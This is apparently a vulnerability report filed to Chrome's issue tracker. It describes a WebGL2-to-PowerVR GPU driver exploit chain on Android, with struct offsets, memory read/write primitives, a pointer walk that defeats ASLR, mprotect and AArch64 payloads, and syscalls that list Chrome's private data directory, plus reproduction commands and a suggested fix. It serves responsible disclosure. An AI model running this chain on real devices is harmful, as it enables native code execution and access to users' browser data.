+0x00  NamedItem.psNext
+0x08  ui32Name
+0x0c  ui32RefCount
+0x10  mutex
+0x40  size
+0x50  mapped_ptr
+0x68  PVRSRV_MEMINFO_TAG *data_store
+0x70  void *data_store_cpu
+0x88  mapped

5. Use data_store_cpu for address-selected CPU memory access

The replacement buffer receives a real 0x1000-byte backing allocation. The stale uniform saves data_store_cpu, temporarily writes an address-selected target to BufferRec+0x70, performs one normal WebGL call, and restores the genuine value in a finally block.

Read:

BufferRec.data_store_cpu = target;
gl.getBufferSubData(gl.ARRAY_BUFFER, 0, output);
BufferRec.data_store_cpu = original;

Chrome’s passthrough DoGetBufferSubDataCHROMIUM calls native glMapBufferRange(..., GL_MAP_READ_BIT), copies the returned bytes to the command result, and unmaps. For the confirmed GLES BuildId, glMapBufferRange@0x56c680 loads exactly [BufferRec+0x70] + offset and returns it.

Write:

BufferRec.data_store_cpu = target;
gl.bufferSubData(gl.ARRAY_BUFFER, 0, bytes);
BufferRec.data_store_cpu = original;

For the same BuildId, glBufferSubData@0x544490 copies the supplied bytes to data_store_cpu+offset while the valid data_store and other BufferRec state remain intact.

6. Resolve ASLR and execute a returning native payload

The page uses the replacement buffer as a vertex source for one valid draw. PowerVR attaches GLES3BufferObjectRec.sRMResource@+0x90 to a hardware queue, creating this live pointer path:

history = *(BufferRec + 0x90)
queue   = *(history + 0x00)
context = *(queue + 0x10)
creator = *(context + 0xb4a0)
GLES    = creator - 0xe1740
free    = *(GLES + 0x1dffc0)
libc    = free - 0x59530

From libc, the exploit resolves linker64 through __loader_shared_globals, walks the valid soinfo list, and locates libandroid_runtime.so. All offsets are pinned to the BuildIds listed in this report; the page does not read /proc or receive an address externally.

The context supplies primitive and occlusion query targets at +0xb448 and +0xb450. Their normal End callbacks are verified against the confirmed GLES BuildId before use. For each call, the page begins a real WebGL query, temporarily replaces its native target object and End callback, invokes gl.endQuery(), and restores the original target state in a finally block.

The first returning callback calls:

mprotect(payload_page, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC);

The second callback enters this controlled AArch64 payload:

bti c
str w1, [x0]
mov w0, wzr
ret

The payload writes marker 0x52434521 into the live WebGLBuffer backing and returns through the preserved callback chain. getBufferSubData() reads the marker back into JavaScript, proving native instruction execution while the GPU process remains alive.

The page then executes a second BTI-compatible payload. It allocates private scratch memory with mmap, marks the payload page executable with the same callback primitive, opens Chrome’s private application directory, and retrieves its entries without launching an external process:

int fd = syscall(__NR_openat, AT_FDCWD,
                 "/data/user/0/com.android.chrome", O_DIRECTORY, 0);
int length = syscall(__NR_getdents64, fd, buffer, 0x10000);
syscall(__NR_close, fd);

The native payload returns the dirent buffer address and length through a WebGL-visible result structure. The corrupted BufferRec copies the dirents back to JavaScript, which parses and displays them.

Device evidence

Minimal PoC

poc.html terminates Chrome’s privileged GPU process with:

process                          com.android.chrome:privileged_process0
thread                           VizCompositorTh
signal                           SIGSEGV / SEGV_MAPERR / read
fault address                    0x0001010101010121
page result                      GPU process/context lost after blind 0x01 overwrite

Native code execution and private-directory access

On the confirmed target, a cold launch of exp.html produced:

runtime                          104.423 seconds
BufferRec X                      0xb4000071b86688f0
data_store                       0xb4000071a8035150
original data_store_cpu          0x00000074681fc000
replacement native name          0x1c0a
BufferRec history                0xb400007287edf550
RM hardware queue                0xb4000073370f1590
GLES3Context                     0xb40000735714f080
libGLESv2 base                   0x0000007153610000
libc base                        0x000000745ce43000
linker base                      0x000000747bcb4000
libandroid_runtime base          0x0000007447329000
mprotect                         0x000000745cf27e80
native payload                   0xb4000071b8668b10
returned marker                  0x52434521
private scratch mapping          0x000000719c090000
directory payload                0x000000719c090100
directory dirent buffer          0x000000746313a000
directory dirent bytes           416
WebGL errors                     0x0
GPU-process crash                none

The native directory payload returned:

dir     .
dir     ..
dir     cache
dir     code_cache
dir     shared_prefs
dir     app_chrome
dir     app_textures
dir     files
dir     no_backup
dir     app_multi_instance
dir     app_tabs
dir     databases
dir     app_top_sites

Code-execution result

The supplied exploit first proves native code execution with a minimal returning marker payload, then uses native syscalls to list Chrome’s private application data directory and returns those entries to the webpage. It does not spawn a process, alter persistent state, or execute an external command.

Reproduction

Serve this directory and reverse the TCP port to the device:

python3 -m http.server 8000 --bind 127.0.0.1
adb reverse tcp:8000 tcp:8000

Controlled GPU-process crash:

adb shell am force-stop com.android.chrome
adb shell am start -W -a android.intent.action.VIEW \
  -d http://127.0.0.1:8000/poc.html com.android.chrome

Native code-execution and private-directory proof:

adb shell am force-stop com.android.chrome
adb shell am start -W -a android.intent.action.VIEW \
  -d http://127.0.0.1:8000/exp.html com.android.chrome

poc.html either loses the WebGL context after a native corrupted-pointer use or reports that the blind OOB returned without an immediate crash. Refreshing retries a new unshaped layout. exp.html succeeds when the page shows all of:

NATIVE CODE EXECUTION: PASS
CHROME DATA DIRECTORY: PASS

The exploit depends on Scudo placing several same-size native allocations next to one another, so a single run is not guaranteed to succeed. A failed attempt may complete without disclosing the required pointer, report an exception, or lose the WebGL context before reaching both PASS messages. In that case, force-stop Chrome and launch exp.html again so the browser and privileged GPU process start with a fresh heap:

adb shell am force-stop com.android.chrome
adb shell am start -W -a android.intent.action.VIEW \
  -d http://127.0.0.1:8000/exp.html com.android.chrome

The exploit is intentionally run from a cold Chrome process. Initial shader linking and heap construction are CPU-intensive and the complete demonstration can take 1–2 minutes on the tested device. The page continuously updates its progress text during this period; wait for both PASS messages before judging the result.

The included demo.mp4 is a 112.6-second recording of a complete run through native code execution and the Chrome private-directory listing.

Suggested fix

The robust fix belongs at the native invariant boundary and should also be mirrored in ANGLE:

  1. In PowerVR, calculate the sparse page-map allocation and every twiddled index from one consistent effective mip window. Reject or clamp every index outside ui32NumPagesTotal before writing pbUsedPageMap[index].

  2. Audit both CalculateNPOTTwiddleSparsePageMap and the sibling 3D function, including 2D-array, cube-array, multisample-array, compressed, and framebuffer-compression paths.

  3. In ANGLE, do not invoke native immutable storage while a nonzero base is already applied to a mutable PowerVR texture. Create storage with native base zero and reapply the requested base only after safe initialization, or recreate the native texture before the first vulnerable storage consumer.

  4. Add regression tests for the missing order:

    set BASE_LEVEL while mutable -> allocate immutable NPOT storage
    

    Cover texStorage2D, texStorage3D, TEXTURE_2D_ARRAY, and boundaries near MAX_TEXTURE_SIZE, and instrument the workaround so the test proves that the intended repair branch actually executes.

Included files

  • poc.html — minimal blind ordinary-WebGL2 root trigger: two names, one overflowing storage call, and reverse deletion; no heap shaping.
  • exp.html — self-contained PowerVR chain through ASLR resolution, returning native code execution, and a native listing of Chrome’s private data directory.
  • demo.mp4 — 112.6-second device recording of the complete exploit run.
  • report.md — this root-cause, workaround-bypass, and exploitation write-up.

Impact analysis

All the required information are in the attached files.


The cause

What version of Chrome have you found the security issue in?

stable

Yes, it is related to a crash.

How would you like to be publicly acknowledged for your report?

Billy Jheng Bing Jhong, Muhammad Alifa Ramdhan, Pan Zhenpeng of STAR Labs SG Pte. LTd.

View on issue tracker